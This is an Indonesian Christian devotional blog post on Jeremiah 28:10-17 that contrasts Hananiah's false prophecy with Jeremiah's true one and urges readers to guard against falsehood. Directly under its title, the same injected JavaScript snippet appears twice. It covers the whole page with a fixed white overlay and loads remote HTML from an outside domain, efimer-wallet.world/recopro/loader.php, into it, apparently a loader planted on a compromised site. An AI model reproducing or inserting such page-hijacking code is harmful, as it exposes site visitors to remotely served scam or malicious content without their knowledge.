HATI-HATI, BARANG PALSU

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Selasa, 11 Juli 2023

Yeremia 28 : 10 – 17

Pengantar

Dalam kehidupan sehari-hari, kita sering diperhadapkan dengan tawaran-tawaran yang menggiurkan. Dengan bahasa yang manis, penampilan mempesona dan kemasan yang menarik tidak sedikit orang akan segera tertarik kemudian terpengaruh lalu terjerumus dalam tawaran-tawaran demikian. Setelah mengetahui bahwa ternyata palsu, kita baru menyadari dan menyesal, namun sayang sudah terlambat karena sudah terjerumus atau termakan kepalsuannya. Hari ini kita belajar bagaimana menyikapi nubuat palsu dari Hananya dan nubuat yang benar dari Yeremia.

Pemahaman

  1. Melalui Yeremia 28:10-17 ini menolong kita mengerti nubuat palsu dan yang benar.
  2. Apa yang terjadi ketika seseorang hidupnya di kuasai kepalsuan? (v. 1-17)

Konteks Yeremia 28:1-17 dapat dikatakan sebagai peperangan nubuat yang palsu dari Hananya dengah nubuat yang benar dari Yeremia. Ketika umat Allah sedang dalam tawanan di Babel, keadaan mereka sangat menderita. Kita bisa bayangkan bagaimana sulitnya hidup dalam tawanan bangsa lain. Tentu hanya satu keinginan umat Israel, yaitu ingin segera lepas atau bebas dari tawanan. Dalam konteks tersebut Hananya menubuatkan bahwa dalam dua tahun lagi Allah akan membebaskan umat-Nya dari belenggu tawanan di Babel dan akan mengembalikan mereka ke Yehuda. Nubuatan demikian tentu sangat memberi harapan kepada umat Isreal yang sedang menderita (v. 2-4). Namun apa yang dinubuatkan Hananya itu

tidak dikaitkan dengan mengapa umat Israel harus dibuang ke Babel, yaitu dalam rangka Tuhan menghukum umat-Nya yang tegar-tengkuk dan tidak mengindahkan Tuhan (Lih. Yer 25:1-11). Yeremia yang memang nabi utusan Tuhan menunjukkan bahwa Hananya telah menyampaikan nubuatan palsu dan menyesatkan, sehingga akan membuat umat Tuhan semakin menderita di pembuangan, karena sesungguhnya mereka akan berada di pembuangan adalah selama tujuh puluh tahun (Lih. Yer 29:10). Bagaimana kita menyikapi kisah Yeremia dan Hananya ini? yang terpenting adalah kita perlu selalu berhati-hati dengan segala sesuatu yang palsu yang bertujuan untuk menjauhkan kita dari Tuhan. Dalam kehidupan kita sehari-hari, kita pasti akan diperhadapkan dengan berbagai kepalsuan, entah itu di dunia sekuler maupun di dunia spiritual. Maka bergantung pada kebenaran Firman Tuhan menjadi sangat penting bagi kita.

Refleksi

Saudara-saudara yang terkasih, setialah bergaul dengan Firman Tuhan setiap hari, agar tidak mudah terperdaya oleh kepalsuan dunia.

Tekadku

Tuhan, bimbinglah kami agar lebih peka terhadap mana yang benar dan mana yang palsu.

Tindakanku                                                           

Mari, saudara-saudara, kita semakin menyediakan telinga, hati dan hidup kita untuk kebenaran Firman Tuhan agar kita tidak terjerumus kepalsuan dunia.

This entry was posted in RENUNGAN. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *